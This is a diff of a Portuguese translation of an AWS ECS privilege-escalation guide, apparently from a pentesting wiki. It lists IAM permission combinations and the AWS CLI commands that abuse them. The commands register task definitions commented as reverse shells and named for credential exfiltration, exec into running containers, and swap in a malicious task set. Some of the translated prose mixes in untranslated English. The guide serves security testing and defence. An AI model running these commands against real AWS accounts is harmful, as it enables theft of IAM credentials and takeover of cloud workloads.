Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.\
|
||||
No entanto, nesse caso, é necessário uma container instance para executar a task definition maliciosa.
|
||||
Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova definição de tarefa (task definition)** com um **contêiner malicioso** que rouba as credenciais de metadados e **executá-la**.\
|
||||
No entanto, neste caso, é necessário que exista uma instância de container para executar a definição de tarefa maliciosa.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Impacto Potencial:** privesc direto para qualquer role do ECS.
|
||||
**Potential Impact:** Privesc direto para qualquer ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Assim como no exemplo anterior, um atacante que abusar das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo service com pelo menos 1 task em execução.**
|
||||
Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo service com pelo menos 1 task em execução.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Impacto Potencial:** privesc direto para qualquer ECS role.
|
||||
**Impacto Potencial:** Privesc direto para qualquer role do ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com um role arbitrário com algo como:
|
||||
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container assumindo uma role arbitrária, com algo como:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,13 +181,13 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para qualquer role do ECS.
|
||||
**Impacto Potencial:** Privesc direto para qualquer ECS role.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Este cenário é como os anteriores mas **sem** a permissão **`iam:PassRole`**.\
|
||||
Isso continua interessante porque, se você conseguir executar um container arbitrário, mesmo sem um role, você poderia **executar um container privilegiado para escapar** para o node e **roubar o EC2 IAM role** e as **outras roles dos containers ECS** que estão rodando no node.\
|
||||
Você poderia até **forçar outras tasks a rodarem dentro da instância EC2** que você comprometer para roubar as credenciais delas (conforme discutido na [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
Ainda é interessante porque, se você conseguir executar um container arbitrário, mesmo sem role, você poderia **run a privileged container to escape** para o nó e **steal the EC2 IAM role** e os **the other ECS containers roles** que estão rodando no nó.\
|
||||
Você poderia até **force other tasks to run inside the EC2 instance** que você compromete para roubar suas credenciais (como discutido na [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Este ataque só é possível se o **ECS cluster estiver usando EC2** instâncias e não Fargate.
|
||||
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Um atacante com os **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque são necessárias para executar `aws ecs execute-command`).\
|
||||
No entanto, para fazer isso, a instância do container precisa estar executando o **ExecuteCommand agent** (que por padrão não está).
|
||||
Um atacante com os **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar `aws ecs execute-command`).\
|
||||
No entanto, para fazer isso, a instância do container precisa estar executando o **ExecuteCommand agent** (o que por padrão não acontece).
|
||||
|
||||
Portanto, o atacante pode tentar:
|
||||
|
||||
- **Tentar executar um comando** em todos os containers em execução
|
||||
- **Tentar executar um comando** em cada container em execução
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -257,17 +257,17 @@ aws ecs execute-command --interactive \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Se ele tiver **`ecs:RunTask`**, execute uma task com `aws ecs run-task --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:StartTask`**, execute uma task com `aws ecs start-task --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:StartTask`**, inicie uma task com `aws ecs start-task --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Você pode encontrar **exemplos dessas opções** nas **seções anteriores de ECS privesc**.
|
||||
|
||||
**Potential Impact:** Privesc to a different role attached to contêineres.
|
||||
**Impacto Potencial:** Privesc para um role diferente anexado aos contêineres.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Consulte a **ssm privesc page** para ver como você pode abusar dessa permissão para **privesc para ECS**:
|
||||
Veja na **página ssm privesc** como você pode abusar desta permissão para **privesc para ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Consulte a **ec2 privesc page** para ver como você pode abusar dessas permissões para **privesc para ECS**:
|
||||
Veja na **página ec2 privesc** como você pode abusar dessas permissões para **privesc para ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -290,9 +290,9 @@ Um atacante com essas permissões poderia potencialmente registrar uma instânci
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar isso
|
||||
> TODO: Testar isto
|
||||
|
||||
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um serviço ECS existente e atualizar o task set primário**. Isso permite que o atacante **execute código arbitrário dentro do serviço**.
|
||||
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um service ECS existente e atualizar o primary task set**. Isso permite que o atacante **execute código arbitrário dentro do service**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Impacto potencial**: Executar código arbitrário no serviço afetado, potencialmente afetando sua funcionalidade ou exfiltrando dados sensíveis.
|
||||
**Impacto Potencial**: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
Reference in New Issue
Block a user